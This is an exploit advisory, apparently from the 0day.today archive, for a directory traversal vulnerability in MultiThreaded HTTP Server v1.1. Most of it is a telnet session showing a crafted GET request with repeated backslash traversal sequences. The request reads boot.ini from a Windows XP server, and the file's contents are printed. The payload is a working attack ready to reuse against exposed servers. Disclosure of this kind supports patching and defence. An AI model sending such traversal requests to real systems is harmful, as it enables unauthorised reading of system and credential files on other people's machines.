MultiThreaded HTTP Server v1.1 Directory Traversal

==================================================
MultiThreaded HTTP Server v1.1 Directory Traversal
==================================================

# Exploit Title: MultiThreaded HTTP Server v1.1 Directory Traversal
# Date: Apr 21, 2010
# Author: chr1x
# Software Link: http://voxel.dl.sourceforge.net/project/http/version1.1/%5BUnnamed%20release%5D/HTTPProject_fat.jar
# Description: A simple HTTP Server for the whole world (educational institutions, organizations,small companies, student groups, personel etc..) any one can run it and serve files to their client.It is multithreaded light weight and robust HTTPServer.
# Version: 1.1
# Tested on: Windows XP SP3 (Spanish Edition)
 
 
###########<CONFIRMATION>##############
 
[email protected]:/ddpwn# telnet 192.168.1.252 80
Trying 192.168.1.252...
Connected to 192.168.1.252.
Escape character is '^]'.
GET /..\..\\..\..\\..\..\\..\..\\\boot.ini HTTP/1.0
HTTP/1.0 200 OK
 
 
MultiThreadedHTTPServer(GET, HEAD ,POST supported) for Zimbra implemented by rajeev kumar
Date: Tue Apr 20 00:47:16 CDT 2010
Content-length: 211
Last Modified: Sun Apr 11 10:56:09 CDT 2010
Content-type: unknown/unknown
 
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
Connection closed by foreign host.
[email protected]:/ddpwn#
 
###########</CONFIRMATION>##############
  
[CubilFelino Security Research Lab] - http://chr1x.sectester.net
"The computer security is an art form. It's the ultimate martial art."



#  0day.today [2018-01-10]  #